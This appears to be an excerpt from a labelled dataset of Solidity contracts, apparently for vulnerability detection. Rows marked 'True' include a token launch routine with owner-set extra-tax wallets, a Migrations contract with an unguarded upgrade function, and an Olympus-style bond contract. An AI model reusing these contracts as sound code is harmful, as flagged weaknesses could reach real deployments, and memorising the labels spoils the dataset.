function addExtraTaxWallets(address[] calldata wallets, bool extraTax) external onlyOwner {
for(uint256 i = 0; i < wallets.length; i++){
extraTaxWallets[wallets[i]] = extraTax;
}
}
function launch(uint256 blocksForPenalty) external onlyOwner {
require(!tradingActive, "Trading is already active, cannot relaunch.");
require(blocksForPenalty < 10, "Cannot make penalty blocks more than 10");
removeAllFee();
maxTransactionAmount = _tTotal * 1 / 1000;
//standard enable trading
tradingActive = true;
swapAndLiquifyEnabled = true;
tradingActiveBlock = block.number;
blockForPenaltyEnd = tradingActiveBlock + blocksForPenalty;
emit EnabledTrading();
// initialize router
IDexRouter _dexRouter = IDexRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
dexRouter = _dexRouter;
// create pair
lpPair = IDexFactory(_dexRouter.factory()).createPair(address(this), _dexRouter.WETH());
excludeFromMaxTransaction(address(lpPair), true);
_setAutomatedMarketMakerPair(address(lpPair), true);
// add the liquidity
require(address(this).balance > 0, "Must have ETH on contract to launch");
require(balanceOf(address(this)) > 0, "Must have Tokens on contract to launch");
_approve(address(this), address(dexRouter), balanceOf(address(this)));
dexRouter.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0, // slippage is unavoidable
0, // slippage is unavoidable
futureOwnerAddress,
block.timestamp
);
_transfer(msg.sender, futureOwnerAddress, balanceOf(msg.sender));
restoreAllFee();
}
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] |
pragma solidity 0.6.12;
contract Migrations {
address public owner;
uint public last_completed_migration;
modifier restricted() {
if (msg.sender == owner) _;
}
constructor() public{
owner = msg.sender;
}
function setCompleted(uint completed)external restricted {
last_completed_migration = completed;
}
function upgrade(address new_address) external {
Migrations upgraded = Migrations(new_address);
upgraded.setCompleted(last_completed_migration);
}
}
| True | [
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/**
*Submitted for verification at Etherscan.io on 2021-11-25
*/
// File contracts/libraries/SafeMath.sol
// SPDX-License-Identifier: AGPL-3.0-or-later
pragma solidity 0.7.5;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
function sqrrt(uint256 a) internal pure returns (uint c) {
if (a > 3) {
c = a;
uint b = add( div( a, 2), 1 );
while (b < c) {
c = b;
b = div( add( div( a, b ), b), 2 );
}
} else if (a != 0) {
c = 1;
}
}
}
// File contracts/libraries/Address.sol
pragma solidity 0.7.5;
library Address {
function isContract(address account) internal view returns (bool) {
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function addressToString(address _address) internal pure returns(string memory) {
bytes32 _bytes = bytes32(uint256(_address));
bytes memory HEX = "0123456789abcdef";
bytes memory _addr = new bytes(42);
_addr[0] = '0';
_addr[1] = 'x';
for(uint256 i = 0; i < 20; i++) {
_addr[2+i*2] = HEX[uint8(_bytes[i + 12] >> 4)];
_addr[3+i*2] = HEX[uint8(_bytes[i + 12] & 0x0f)];
}
return string(_addr);
}
}
// File contracts/interfaces/IERC20.sol
pragma solidity 0.7.5;
interface IERC20 {
function decimals() external view returns (uint8);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File contracts/libraries/SafeERC20.sol
pragma solidity 0.7.5;
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// File contracts/libraries/FullMath.sol
pragma solidity 0.7.5;
library FullMath {
function fullMul(uint256 x, uint256 y) private pure returns (uint256 l, uint256 h) {
uint256 mm = mulmod(x, y, uint256(-1));
l = x * y;
h = mm - l;
if (mm < l) h -= 1;
}
function fullDiv(
uint256 l,
uint256 h,
uint256 d
) private pure returns (uint256) {
uint256 pow2 = d & -d;
d /= pow2;
l /= pow2;
l += h * ((-pow2) / pow2 + 1);
uint256 r = 1;
r *= 2 - d * r;
r *= 2 - d * r;
r *= 2 - d * r;
r *= 2 - d * r;
r *= 2 - d * r;
r *= 2 - d * r;
r *= 2 - d * r;
r *= 2 - d * r;
return l * r;
}
function mulDiv(
uint256 x,
uint256 y,
uint256 d
) internal pure returns (uint256) {
(uint256 l, uint256 h) = fullMul(x, y);
uint256 mm = mulmod(x, y, d);
if (mm > l) h -= 1;
l -= mm;
require(h < d, 'FullMath::mulDiv: overflow');
return fullDiv(l, h, d);
}
}
// File contracts/libraries/FixedPoint.sol
pragma solidity 0.7.5;
library Babylonian {
function sqrt(uint256 x) internal pure returns (uint256) {
if (x == 0) return 0;
uint256 xx = x;
uint256 r = 1;
if (xx >= 0x100000000000000000000000000000000) {
xx >>= 128;
r <<= 64;
}
if (xx >= 0x10000000000000000) {
xx >>= 64;
r <<= 32;
}
if (xx >= 0x100000000) {
xx >>= 32;
r <<= 16;
}
if (xx >= 0x10000) {
xx >>= 16;
r <<= 8;
}
if (xx >= 0x100) {
xx >>= 8;
r <<= 4;
}
if (xx >= 0x10) {
xx >>= 4;
r <<= 2;
}
if (xx >= 0x8) {
r <<= 1;
}
r = (r + x / r) >> 1;
r = (r + x / r) >> 1;
r = (r + x / r) >> 1;
r = (r + x / r) >> 1;
r = (r + x / r) >> 1;
r = (r + x / r) >> 1;
r = (r + x / r) >> 1; // Seven iterations should be enough
uint256 r1 = x / r;
return (r < r1 ? r : r1);
}
}
library BitMath {
function mostSignificantBit(uint256 x) internal pure returns (uint8 r) {
require(x > 0, 'BitMath::mostSignificantBit: zero');
if (x >= 0x100000000000000000000000000000000) {
x >>= 128;
r += 128;
}
if (x >= 0x10000000000000000) {
x >>= 64;
r += 64;
}
if (x >= 0x100000000) {
x >>= 32;
r += 32;
}
if (x >= 0x10000) {
x >>= 16;
r += 16;
}
if (x >= 0x100) {
x >>= 8;
r += 8;
}
if (x >= 0x10) {
x >>= 4;
r += 4;
}
if (x >= 0x4) {
x >>= 2;
r += 2;
}
if (x >= 0x2) r += 1;
}
}
library FixedPoint {
struct uq112x112 {
uint224 _x;
}
struct uq144x112 {
uint256 _x;
}
uint8 private constant RESOLUTION = 112;
uint256 private constant Q112 = 0x10000000000000000000000000000;
uint256 private constant Q224 = 0x100000000000000000000000000000000000000000000000000000000;
uint256 private constant LOWER_MASK = 0xffffffffffffffffffffffffffff; // decimal of UQ*x112 (lower 112 bits)
function decode(uq112x112 memory self) internal pure returns (uint112) {
return uint112(self._x >> RESOLUTION);
}
function decode112with18(uq112x112 memory self) internal pure returns (uint) {
return uint(self._x) / 5192296858534827;
}
function fraction(uint256 numerator, uint256 denominator) internal pure returns (uq112x112 memory) {
require(denominator > 0, 'FixedPoint::fraction: division by zero');
if (numerator == 0) return FixedPoint.uq112x112(0);
if (numerator <= uint144(-1)) {
uint256 result = (numerator << RESOLUTION) / denominator;
require(result <= uint224(-1), 'FixedPoint::fraction: overflow');
return uq112x112(uint224(result));
} else {
uint256 result = FullMath.mulDiv(numerator, Q112, denominator);
require(result <= uint224(-1), 'FixedPoint::fraction: overflow');
return uq112x112(uint224(result));
}
}
// square root of a UQ112x112
// lossy between 0/1 and 40 bits
function sqrt(uq112x112 memory self) internal pure returns (uq112x112 memory) {
if (self._x <= uint144(-1)) {
return uq112x112(uint224(Babylonian.sqrt(uint256(self._x) << 112)));
}
uint8 safeShiftBits = 255 - BitMath.mostSignificantBit(self._x);
safeShiftBits -= safeShiftBits % 2;
return uq112x112(uint224(Babylonian.sqrt(uint256(self._x) << safeShiftBits) << ((112 - safeShiftBits) / 2)));
}
}
// File contracts/types/Ownable.sol
pragma solidity 0.7.5;
contract Ownable {
address public policy;
constructor () {
policy = msg.sender;
}
modifier onlyPolicy() {
require( policy == msg.sender, "Ownable: caller is not the owner" );
_;
}
function transferManagment(address _newOwner) external onlyPolicy() {
require( _newOwner != address(0) );
policy = _newOwner;
}
}
// File contracts/BlackPoolCustom/CustomBlackPoolBond.sol
pragma solidity 0.7.5;
interface ITreasury {
function deposit(address _principleTokenAddress, uint _amountPrincipleToken, uint _amountPayoutToken) external;
function valueOfToken( address _principalTokenAddress, uint _amount ) external view returns ( uint value_ );
function payoutToken() external view returns (address);
}
contract CustomBlackPoolBond is Ownable {
using FixedPoint for *;
using SafeERC20 for IERC20;
using SafeMath for uint;
/* ======== EVENTS ======== */
event BondCreated( uint deposit, uint payout, uint expires );
event BondRedeemed( address recipient, uint payout, uint remaining );
event BondPriceChanged( uint internalPrice, uint debtRatio );
event ControlVariableAdjustment( uint initialBCV, uint newBCV, uint adjustment, bool addition );
/* ======== STATE VARIABLES ======== */
IERC20 immutable payoutToken; // token paid for principal
IERC20 immutable principalToken; // inflow token
ITreasury immutable customTreasury; // pays for and receives principal
address immutable olympusDAO;
address olympusTreasury; // receives fee
address immutable subsidyRouter; // pays subsidy in OHM to custom treasury
uint public totalPrincipalBonded;
uint public totalPayoutGiven;
uint public totalDebt; // total value of outstanding bonds; used for pricing
uint public lastDecay; // reference block for debt decay
uint payoutSinceLastSubsidy; // principal accrued since subsidy paid
Terms public terms; // stores terms for new bonds
Adjust public adjustment; // stores adjustment to BCV data
FeeTiers[] private feeTiers; // stores fee tiers
bool immutable private feeInPayout;
mapping( address => Bond ) public bondInfo; // stores bond information for depositors
/* ======== STRUCTS ======== */
struct FeeTiers {
uint tierCeilings; // principal bonded till next tier
uint fees; // in ten-thousandths (i.e. 33300 = 3.33%)
}
// Info for creating new bonds
struct Terms {
uint controlVariable; // scaling variable for price
uint vestingTerm; // in blocks
uint minimumPrice; // vs principal value
uint maxPayout; // in thousandths of a %. i.e. 500 = 0.5%
uint maxDebt; // payout token decimal debt ratio, max % total supply created as debt
}
// Info for bond holder
struct Bond {
uint payout; // payout token remaining to be paid
uint vesting; // Blocks left to vest
uint lastBlock; // Last interaction
uint truePricePaid; // Price paid (principal tokens per payout token) in ten-millionths - 4000000 = 0.4
}
// Info for incremental adjustments to control variable
struct Adjust {
bool add; // addition or subtraction
uint rate; // increment
uint target; // BCV when adjustment finished
uint buffer; // minimum length (in blocks) between adjustments
uint lastBlock; // block when last adjustment made
}
/* ======== CONSTRUCTOR ======== */
constructor(
address _customTreasury,
address _principalToken,
address _olympusTreasury,
address _subsidyRouter,
address _initialOwner,
address _olympusDAO,
uint[] memory _tierCeilings,
uint[] memory _fees,
bool _feeInPayout
) {
require( _customTreasury != address(0) );
customTreasury = ITreasury( _customTreasury );
payoutToken = IERC20( ITreasury(_customTreasury).payoutToken() );
require( _principalToken != address(0) );
principalToken = IERC20( _principalToken );
require( _olympusTreasury != address(0) );
olympusTreasury = _olympusTreasury;
require( _subsidyRouter != address(0) );
subsidyRouter = _subsidyRouter;
require( _initialOwner != address(0) );
policy = _initialOwner;
require( _olympusDAO != address(0) );
olympusDAO = _olympusDAO;
require(_tierCeilings.length == _fees.length, "tier length and fee length not the same");
for(uint i; i < _tierCeilings.length; i++) {
feeTiers.push( FeeTiers({
tierCeilings: _tierCeilings[i],
fees: _fees[i]
}));
}
feeInPayout = _feeInPayout;
}
/* ======== INITIALIZATION ======== */
/**
* @notice initializes bond parameters
* @param _controlVariable uint
* @param _vestingTerm uint
* @param _minimumPrice uint
* @param _maxPayout uint
* @param _maxDebt uint
* @param _initialDebt uint
*/
function initializeBond(
uint _controlVariable,
uint _vestingTerm,
uint _minimumPrice,
uint _maxPayout,
uint _maxDebt,
uint _initialDebt
) external onlyPolicy() {
require( currentDebt() == 0, "Debt must be 0 for initialization" );
terms = Terms ({
controlVariable: _controlVariable,
vestingTerm: _vestingTerm,
minimumPrice: _minimumPrice,
maxPayout: _maxPayout,
maxDebt: _maxDebt
});
totalDebt = _initialDebt;
lastDecay = block.number;
}
/* ======== POLICY FUNCTIONS ======== */
enum PARAMETER { VESTING, PAYOUT, DEBT }
/**
* @notice set parameters for new bonds
* @param _parameter PARAMETER
* @param _input uint
*/
function setBondTerms ( PARAMETER _parameter, uint _input ) external onlyPolicy() {
if ( _parameter == PARAMETER.VESTING ) { // 0
require( _input >= 10000, "Vesting must be longer than 36 hours" );
terms.vestingTerm = _input;
} else if ( _parameter == PARAMETER.PAYOUT ) { // 1
require( _input <= 1000, "Payout cannot be above 1 percent" );
terms.maxPayout = _input;
} else if ( _parameter == PARAMETER.DEBT ) { // 2
terms.maxDebt = _input;
}
}
/**
* @notice set control variable adjustment
* @param _addition bool
* @param _increment uint
* @param _target uint
* @param _buffer uint
*/
function setAdjustment (
bool _addition,
uint _increment,
uint _target,
uint _buffer
) external onlyPolicy() {
require( _increment <= terms.controlVariable.mul( 30 ).div( 1000 ), "Increment too large" );
adjustment = Adjust({
add: _addition,
rate: _increment,
target: _target,
buffer: _buffer,
lastBlock: block.number
});
}
/**
* @notice change address of Olympus Treasury
* @param _olympusTreasury uint
*/
function changeOlympusTreasury(address _olympusTreasury) external {
require( msg.sender == olympusDAO, "Only Olympus DAO" );
olympusTreasury = _olympusTreasury;
}
/**
* @notice subsidy controller checks payouts since last subsidy and resets counter
* @return payoutSinceLastSubsidy_ uint
*/
function paySubsidy() external returns ( uint payoutSinceLastSubsidy_ ) {
require( msg.sender == subsidyRouter, "Only subsidy controller" );
payoutSinceLastSubsidy_ = payoutSinceLastSubsidy;
payoutSinceLastSubsidy = 0;
}
/* ======== USER FUNCTIONS ======== */
/**
* @notice deposit bond
* @param _amount uint
* @param _maxPrice uint
* @param _depositor address
* @return uint
*/
function deposit(uint _amount, uint _maxPrice, address _depositor) external returns (uint) {
require( _depositor != address(0), "Invalid address" );
decayDebt();
uint nativePrice = trueBondPrice();
require( _maxPrice >= nativePrice, "Slippage limit: more than max price" ); // slippage protection
uint value = customTreasury.valueOfToken( address(principalToken), _amount );
uint payout;
uint fee;
if(feeInPayout) {
(payout, fee) = payoutFor( value ); // payout to bonder is computed
} else {
(payout, fee) = payoutFor( _amount ); // payout to bonder is computed
_amount = _amount.sub(fee);
}
require( payout >= 10 ** payoutToken.decimals() / 100, "Bond too small" ); // must be > 0.01 payout token ( underflow protection )
require( payout <= maxPayout(), "Bond too large"); // size protection because there is no slippage
// total debt is increased
totalDebt = totalDebt.add( value );
require( totalDebt <= terms.maxDebt, "Max capacity reached" );
// depositor info is stored
bondInfo[ _depositor ] = Bond({
payout: bondInfo[ _depositor ].payout.add( payout ),
vesting: terms.vestingTerm,
lastBlock: block.number,
truePricePaid: trueBondPrice()
});
totalPrincipalBonded = totalPrincipalBonded.add(_amount); // total bonded increased
totalPayoutGiven = totalPayoutGiven.add(payout); // total payout increased
payoutSinceLastSubsidy = payoutSinceLastSubsidy.add( payout ); // subsidy counter increased
principalToken.approve( address(customTreasury), _amount );
if(feeInPayout) {
principalToken.safeTransferFrom( msg.sender, address(this), _amount );
customTreasury.deposit( address(principalToken), _amount, payout.add(fee) );
} else {
principalToken.safeTransferFrom( msg.sender, address(this), _amount.add(fee) );
customTreasury.deposit( address(principalToken), _amount, payout );
}
if ( fee != 0 ) { // fee is transferred to dao
if(feeInPayout) {
payoutToken.safeTransfer(olympusTreasury, fee);
} else {
principalToken.safeTransfer( olympusTreasury, fee );
}
}
// indexed events are emitted
emit BondCreated( _amount, payout, block.number.add( terms.vestingTerm ) );
emit BondPriceChanged( _bondPrice(), debtRatio() );
adjust(); // control variable is adjusted
return payout;
}
/**
* @notice redeem bond for user
* @return uint
*/
function redeem(address _depositor) external returns (uint) {
Bond memory info = bondInfo[ _depositor ];
uint percentVested = percentVestedFor( _depositor ); // (blocks since last interaction / vesting term remaining)
if ( percentVested >= 10000 ) { // if fully vested
delete bondInfo[ _depositor ]; // delete user info
emit BondRedeemed( _depositor, info.payout, 0 ); // emit bond data
payoutToken.safeTransfer( _depositor, info.payout );
return info.payout;
} else { // if unfinished
// calculate payout vested
uint payout = info.payout.mul( percentVested ).div( 10000 );
// store updated deposit info
bondInfo[ _depositor ] = Bond({
payout: info.payout.sub( payout ),
vesting: info.vesting.sub( block.number.sub( info.lastBlock ) ),
lastBlock: block.number,
truePricePaid: info.truePricePaid
});
emit BondRedeemed( _depositor, payout, bondInfo[ _depositor ].payout );
payoutToken.safeTransfer( _depositor, payout );
return payout;
}
}
/* ======== INTERNAL HELPER FUNCTIONS ======== */
/**
* @notice makes incremental adjustment to control variable
*/
function adjust() internal {
uint blockCanAdjust = adjustment.lastBlock.add( adjustment.buffer );
if( adjustment.rate != 0 && block.number >= blockCanAdjust ) {
uint initial = terms.controlVariable;
if ( adjustment.add ) {
terms.controlVariable = terms.controlVariable.add( adjustment.rate );
if ( terms.controlVariable >= adjustment.target ) {
adjustment.rate = 0;
}
} else {
terms.controlVariable = terms.controlVariable.sub( adjustment.rate );
if ( terms.controlVariable <= adjustment.target ) {
adjustment.rate = 0;
}
}
adjustment.lastBlock = block.number;
emit ControlVariableAdjustment( initial, terms.controlVariable, adjustment.rate, adjustment.add );
}
}
/**
* @notice reduce total debt
*/
function decayDebt() internal {
totalDebt = totalDebt.sub( debtDecay() );
lastDecay = block.number;
}
/**
* @notice calculate current bond price and remove floor if above
* @return price_ uint
*/
function _bondPrice() internal returns ( uint price_ ) {
price_ = terms.controlVariable.mul( debtRatio() ).div( 10 ** (uint256(payoutToken.decimals()).sub(5)) );
if ( price_ < terms.minimumPrice ) {
price_ = terms.minimumPrice;
} else if ( terms.minimumPrice != 0 ) {
terms.minimumPrice = 0;
}
}
/* ======== VIEW FUNCTIONS ======== */
/**
* @notice calculate current bond premium
* @return price_ uint
*/
function bondPrice() public view returns ( uint price_ ) {
price_ = terms.controlVariable.mul( debtRatio() ).div( 10 ** (uint256(payoutToken.decimals()).sub(5)) );
if ( price_ < terms.minimumPrice ) {
price_ = terms.minimumPrice;
}
}
/**
* @notice calculate true bond price a user pays
* @return price_ uint
*/
function trueBondPrice() public view returns ( uint price_ ) {
price_ = bondPrice().add(bondPrice().mul( currentOlympusFee() ).div( 1e6 ) );
}
/**
* @notice determine maximum bond size
* @return uint
*/
function maxPayout() public view returns ( uint ) {
return payoutToken.totalSupply().mul( terms.maxPayout ).div( 100000 );
}
/**
* @notice calculate user's interest due for new bond, accounting for Olympus Fee
* @param _value uint
* @return _payout uint
* @return _fee uint
*/
function payoutFor( uint _value ) public view returns ( uint _payout, uint _fee) {
if(!feeInPayout) {
_fee = _value.mul( currentOlympusFee() ).div( 1e6 );
_payout = FixedPoint.fraction( customTreasury.valueOfToken(address(principalToken), _value.sub(_fee)), bondPrice() ).decode112with18().div( 1e11 );
} else {
uint total = FixedPoint.fraction( _value, bondPrice() ).decode112with18().div( 1e11 );
_payout = total.sub(total.mul( currentOlympusFee() ).div( 1e6 ));
_fee = total.mul( currentOlympusFee() ).div( 1e6 );
}
}
/**
* @notice calculate current ratio of debt to payout token supply
* @notice protocols using Olympus Pro should be careful when quickly adding large %s to total supply
* @return debtRatio_ uint
*/
function debtRatio() public view returns ( uint debtRatio_ ) {
debtRatio_ = FixedPoint.fraction(
currentDebt().mul( 10 ** payoutToken.decimals() ),
payoutToken.totalSupply()
).decode112with18().div( 1e18 );
}
/**
* @notice calculate debt factoring in decay
* @return uint
*/
function currentDebt() public view returns ( uint ) {
return totalDebt.sub( debtDecay() );
}
/**
* @notice amount to decay total debt by
* @return decay_ uint
*/
function debtDecay() public view returns ( uint decay_ ) {
uint blocksSinceLast = block.number.sub( lastDecay );
decay_ = totalDebt.mul( blocksSinceLast ).div( terms.vestingTerm );
if ( decay_ > totalDebt ) {
decay_ = totalDebt;
}
}
/**
* @notice calculate how far into vesting a depositor is
* @param _depositor address
* @return percentVested_ uint
*/
function percentVestedFor( address _depositor ) public view returns ( uint percentVested_ ) {
Bond memory bond = bondInfo[ _depositor ];
uint blocksSinceLast = block.number.sub( bond.lastBlock );
uint vesting = bond.vesting;
if ( vesting > 0 ) {
percentVested_ = blocksSinceLast.mul( 10000 ).div( vesting );
} else {
percentVested_ = 0;
}
}
/**
* @notice calculate amount of payout token available for claim by depositor
* @param _depositor address
* @return pendingPayout_ uint
*/
function pendingPayoutFor( address _depositor ) external view returns ( uint pendingPayout_ ) {
uint percentVested = percentVestedFor( _depositor );
uint payout = bondInfo[ _depositor ].payout;
if ( percentVested >= 10000 ) {
pendingPayout_ = payout;
} else {
pendingPayout_ = payout.mul( percentVested ).div( 10000 );
}
}
/**
* @notice current fee Olympus takes of each bond
* @return currentFee_ uint
*/
function currentOlympusFee() public view returns( uint currentFee_ ) {
uint tierLength = feeTiers.length;
for(uint i; i < tierLength; i++) {
if(totalPrincipalBonded < feeTiers[i].tierCeilings || i == tierLength - 1 ) {
return feeTiers[i].fees;
}
}
}
} | True | [
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/**
*Submitted for verification at Etherscan.io on 2022-03-28
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// File contracts/libs/IERC165.sol
// File: openzeppelin-solidity/contracts/introspection/IERC165.sol
pragma solidity ^0.8.9;
/**
* @dev Interface of the ERC165 standard, as defined in the
* [EIP](https://eips.ethereum.org/EIPS/eip-165).
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others (`ERC165Checker`).
*
* For an implementation, see `ERC165`.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* [EIP section](https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified)
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// File contracts/libs/ERC165.sol
// File: openzeppelin-solidity/contracts/introspection/ERC165.sol
pragma solidity ^0.8.9;
/**
* @dev Implementation of the `IERC165` interface.
*
* Contracts may inherit from this and call `_registerInterface` to declare
* their support of an interface.
*/
contract ERC165 is IERC165 {
/*
* bytes4(keccak256('supportsInterface(bytes4)')) == 0x01ffc9a7
*/
bytes4 private constant _INTERFACE_ID_ERC165 = 0x01ffc9a7;
/**
* @dev Mapping of interface ids to whether or not it's supported.
*/
mapping(bytes4 => bool) private _supportedInterfaces;
constructor() {
// Derived contracts need only register support for their own interfaces,
// we register support for ERC165 itself here
_registerInterface(_INTERFACE_ID_ERC165);
}
/**
* @dev See `IERC165.supportsInterface`.
*
* Time complexity O(1), guaranteed to always use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId)
external
view
virtual
override
returns (bool)
{
return _supportedInterfaces[interfaceId];
}
/**
* @dev Registers the contract as an implementer of the interface defined by
* `interfaceId`. Support of the actual ERC165 interface is automatic and
* registering its interface id is not required.
*
* See `IERC165.supportsInterface`.
*
* Requirements:
*
* - `interfaceId` cannot be the ERC165 invalid interface (`0xffffffff`).
*/
function _registerInterface(bytes4 interfaceId) internal {
require(interfaceId != 0xffffffff, "ERC165: invalid interface id");
_supportedInterfaces[interfaceId] = true;
}
}
// File contracts/libs/IERC721.sol
// File: openzeppelin-solidity/contracts/token/ERC721/IERC721.sol
pragma solidity ^0.8.9;
/**
* @dev Required interface of an ERC721 compliant contract.
*/
abstract contract IERC721 is IERC165 {
event Transfer(
address indexed from,
address indexed to,
uint256 indexed tokenId
);
event Approval(
address indexed owner,
address indexed approved,
uint256 indexed tokenId
);
event ApprovalForAll(
address indexed owner,
address indexed operator,
bool approved
);
/**
* @dev Returns the number of NFTs in `owner`'s account.
*/
function balanceOf(address owner)
public
view
virtual
returns (uint256 balance);
/**
* @dev Returns the owner of the NFT specified by `tokenId`.
*/
function ownerOf(uint256 tokenId)
public
view
virtual
returns (address owner);
/**
* @dev Transfers a specific NFT (`tokenId`) from one account (`from`) to
* another (`to`).
*
*
*
* Requirements:
* - `from`, `to` cannot be zero.
* - `tokenId` must be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this
* NFT by either `approve` or `setApproveForAll`.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual;
/**
* @dev Transfers a specific NFT (`tokenId`) from one account (`from`) to
* another (`to`).
*
* Requirements:
* - If the caller is not `from`, it must be approved to move this NFT by
* either `approve` or `setApproveForAll`.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual;
function approve(address to, uint256 tokenId) public virtual;
function getApproved(uint256 tokenId)
public
view
virtual
returns (address operator);
function setApprovalForAll(address operator, bool _approved) public virtual;
function isApprovedForAll(address owner, address operator)
public
view
virtual
returns (bool);
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory data
) public virtual;
}
/**
* @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
abstract contract IERC721Enumerable is IERC721 {
/**
* @dev Returns the total amount of tokens stored by the contract.
*/
function totalSupply() external virtual view returns (uint256);
/**
* @dev Returns a token ID owned by `owner` at a given `index` of its token list.
* Use along with {balanceOf} to enumerate all of ``owner``'s tokens.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) external virtual view returns (uint256);
/**
* @dev Returns a token ID at a given `index` of all the tokens stored by the contract.
